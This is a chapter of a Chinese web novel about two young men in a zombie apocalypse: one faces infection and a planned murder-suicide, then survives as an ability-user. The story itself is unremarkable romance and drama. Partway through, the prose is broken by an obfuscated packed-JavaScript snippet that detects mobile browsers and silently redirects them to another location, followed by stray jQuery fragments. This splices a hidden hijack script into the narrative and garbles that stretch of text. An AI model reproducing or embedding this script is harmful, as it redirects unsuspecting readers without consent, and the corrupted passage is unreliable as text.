14.末世篇(14)

作品:《热爱作死的炮灰[快穿]

    其实落在脸上就算了,还有一些意外滑进了观野的唇缝间。


    齐疏月发现这点,更难不脸热,很不好意思。


    观野这时候却在想:苦的。


    齐疏月的眼泪很苦涩。


    他似乎总是在让齐疏月哭。


    偏现在却连安慰他,帮他擦掉眼泪都做不到——不知道什么时候,自己会变成怪物,看似无害的手指也会成伤人的利器。


    似乎总隔着一层雾气、被强行变得平淡的情绪,在此时也被疯狂搅动起来,一下一下,冲击着那颗心脏。


    观野忍不住想说些什么,但在他开口的同时,一股强烈痛楚从脏腑袭来,全身都像被剧痛打成碎片那样。


    背部,被丧尸划伤的伤口处激发出了惊人的痒意,观野甚至能清晰地察觉到那一部分的肌肉在突突跳动着,好似完全不受控制地要长出什么。


    他缓过了那一阵剧痛,额发都被冷汗打透,却还是很清晰地开口:“齐疏月,开枪。”


    他的身体在失去掌控。


    在他真正变成怪物前,那些炽热的感情都被吞下去。


    观野神色冷漠平缓,他开口:“你没必要和我一起死,毕竟这世上还有许多真正爱你的人。”


    “而我——”


    那喉结滚动了一下,这些话像是在心底练习过千遍万遍,此时才能如此流畅地说出来:“照顾你,只是因为,这是我的工作。”


    “如果不是因为你母亲的命令,我这辈子都不会和你这样的少爷相处。”


    “如果调换过来,相同的境地,我会毫不犹豫地抛弃你。”


    “所以没必要心慈手软了,小少爷。”


    杀掉他,将他的尸体清理干净,活下去,然后去寻找新的生机。


    这就是观野所想的。


    或许齐疏月会难过一阵,但总比同他一个怪物去死要好。那股好像颇为陌生的疼痛又从胸腔处钻出来,观野也再一次恨自己实在死的太早,直到生命的最后一刻,他还是要再弄哭齐疏月一次,对他恶言相向。


    齐疏月也的确怔住了,那双淡茶色的瞳孔都微微放大,不过也实在没有到被观野弄哭的地步,齐疏月只是想,观野为什么会突然提起这些——提起这些他早就知道的事。


    他当然知道观野是因为责任感才继续照顾他,纯粹就是个命苦的打工人。


    作为主角,观野已经足够正直了,哪怕在剧情里,也是被自己作的实在难以忍受,又发现炮灰永不知悔改,才选择放弃昔日责任。


    如果自己变成丧尸的话,观野当然会理所应当地消灭他啊。


    也正因为早有预感,这番话对于齐疏月的伤害属于零。齐疏月只是不明白观野为什么会在此时提及……或许是已隐忍许久,才在死前来吐露真心?


    这么想着,又觉得观野的死亡有自己的一份,齐疏月愈加觉得愧疚。


    他也不想做一个讨人厌的人,但任务就是如此。


    现在的齐疏月也很心如死灰,任务全盘崩塌,他也顾不上会不会扣人设分的事了。长而翘的睫羽往下一压,沾着雾气,很是失落、以至于语气都显得很可怜地道:“对不起。”


    “对不起……观野。”


    停顿的一瞬间,像是有被压下去的短暂啜泣声。


    齐疏月哪怕被欺负了,也只会哭着道歉——在意识到这一点的时候,观野差点疯了,也非常地想要将刚才说出伤害齐疏月的话的自己碎尸万段。可他的目的还没达成,解释道歉的话硬生生哽塞在喉咙里,观野的脸色青白,真和丧尸差不多了。他缓了一会,才咬着牙压下那股冲动,很生硬地说:“你、没必要……没必要道歉。”


    再多说一句就要露馅。


    观野绞尽脑汁地想着,怎么才能显得自己混蛋一点,但又不至于让齐疏月太伤心:“为我这种人难过没意义,会显得很……笨。”


    齐疏月根本没听懂他这话里的逻辑,还有些茫然。


    但他看向观野的时候,就发现观野全身都在控制不住地颤抖,是那种像经受着巨大痛楚和恐惧才会有的本能的生理性反应,对于后者,齐疏月是很熟悉的。


    所以他想要让观野,至少在最后时刻能够好受一些,也别那么讨厌自己一点。


    目前条件有限,齐疏月也弄不来什么安定药物,他想到观野以前是如何安慰自己的,擅长从肢体行为中学会汲取爱意和安全感的齐疏月思考一下,靠的更近了。然后面对着面,在观野的大腿上坐了下来。


    观野:“……?!?!”


    观野在那一瞬间几乎要冒烟了,好在他很快反应了过来,语气近乎咬牙切齿地道:“你——!离远点,靠这么近,被我咬到怎么办?”


    观野的手脚还被绑着,没办法推开齐疏月。


    何况就算他没被绑着,这个举动对他而言也未免太难以实现了。


    齐疏月却只当没听见,他很用力地,将观野的头往下压了压,示意观野低头,最好,还能弯一下腰。


    观野现在脑子都是糊的,也很下意识地配合齐疏月的举动,如果不是上半身被绳索捆得很严实,他这会弯腰的幅度应该更大才对。


    齐疏月坐在观野的腿上,对方身量高,他足尖都快够不到地。怕稳不住身形,齐疏月一开始是扶着观野的肩头的,但见观野配合,后面就变成了靠过去将观野的头压进了自己的怀里,形成了一个非常亲密性质的拥抱。


    像是足以容纳观野的一切,也消融一切刚才不够愉快的经历,两个人只是拥抱。


    观野感觉到自己埋在齐疏月怀里,耳朵憋得更红了,身上从上到下地冒着热气。


    因为靠得近,他能很清楚地闻见齐疏月身上的味道了——从这样亲密的近似于冒犯的距离里,闻见从对方皮肤里散发出来的近乎馥郁的淡香。


    甚至好像能觉察到齐疏月胸前的一点起伏的弧度那样。


    即便控制住自己不从这样隐秘的位置的接触下进行遐想,观野还是全身发烫得能把自己煮熟了,头上都快冒出热气,身下也有了些不该有的反应。


    齐疏月没注意到,因为这会他正专心致志地拥抱观野,也在调整位置。等调整好后,齐疏月手上拿着的枪,也抵在了观野的后脑勺上。


    观野察觉到后脑袋上抵着的冰冷金属,一时也回神。心想这样也好,至少自己有什么异动,齐疏月都能轻松崩了自己。


    这个时候开枪或者走火,


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16973092|193298||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    能直接打穿观野的脑袋。


    一般来说越强大的人异化成的丧尸也会越强大,出于这点考虑,齐疏月也不可能放走可能由观野变成的丧尸,让本就出事的小世界更千疮百孔了。


    而观野其实还没注意到一点细节,经过改装后的枪.支威力非常之大,这样近的距离,不仅可以打穿他的脑袋,还能打穿他脑袋之后的东西——而现在的齐疏月将观野的头按在自己的胸上,弹药会穿过的位置,也是齐疏月的心脏。


    这是齐疏月为两个人,为自己,选择好的结局。


    观野。齐疏月小声地,用口型无声说道:我不会让你一个人太孤单的。


    接下来的氛围奇异的静谧,两个人只是很安静地贴贴着,默契等待某个时刻的到来。


    观野因为身体上时不时袭来的剧痛,痛晕几次,又很快清醒过来。齐疏月则抱着观野,提起枪的手举得实在太累,偷偷放下几次,再若无其事地重新提起。


    其实也不觉得难熬,至少对于齐疏月而言,觉得现在能和平相处的每一分一秒都值得珍惜。


    但这种平衡的确维持得太久了,以至于云边被金光浸染,第一束晨光从阳台帷帘的缝隙间落到齐疏月的脸上时,齐疏月还有些懵。他茫然地抬起头看向阳台方向,灿烈的金光映在他茶色的眼睛里,晃得齐疏月眨了眨眼,渗出些许泪水来。


    他有些想要揉眼睛,但实在腾不开手,只能扑朔着眼睫低下头,避开那亮堂天光。视线不经意地落在被自己坐着的观野身上时,略微怔了怔。


    天已经亮了。


    但是观野的身上,似乎还是没有出现丧尸化的特征——齐疏月思索着,将紧紧拥抱的动作松开了些,示意观野抬头,让自己再端详一下。


    观野还保有人类的理智。


    他其实刚从一次昏迷中醒转来,听见齐疏月的话,还没那么清醒,便下意识听话抬头。那双眼与齐疏月的眼睛正好对上,就看见齐疏月的眼微微睁圆了,像是受惊的小猫那样。


    “观、观野!”齐疏月的确很吃惊,他一下靠过来,翘而长的眼睫似乎都能扑朔到观野的脸上了,齐疏月很高兴地捧着观野的脸,“你的眼睛……变回来了。”


    眼睛变回来了,体温也不再异常发烫,这些特异征兆的变化,都指向观野结束了特殊的“异变期”——成为了一个真正的异能者。


    当然,其下真正让齐疏月兴奋起来的一点,是丧尸病毒和异能基本上是对峙的两种能力。


    也不是说异能者就不会被感染了,但是异能者至少对病毒有一定抵抗力。感染了病毒后,也会影响异能的强度作为代偿。


    观野在这样的重要关头却完成了异能分化,而不是出现丧尸化特征,本身就是一种很特殊且指向鲜明的预兆了。不管是抵抗了病毒才会分化成功,还是分化成功导致能抵抗丧尸病毒的存在,都结论一致地指向了某种好消息。


    像是那缕无可阻拦的升起的天光一般,齐疏月心底也燃起一丝希冀。


    好像真的有绝处逢生的可能。


    “观野,”齐疏月眼睛很亮,带着紧张和期盼地帮他解开了上半身的绳索:“你快脱衣服给我看!”


    观野:“……”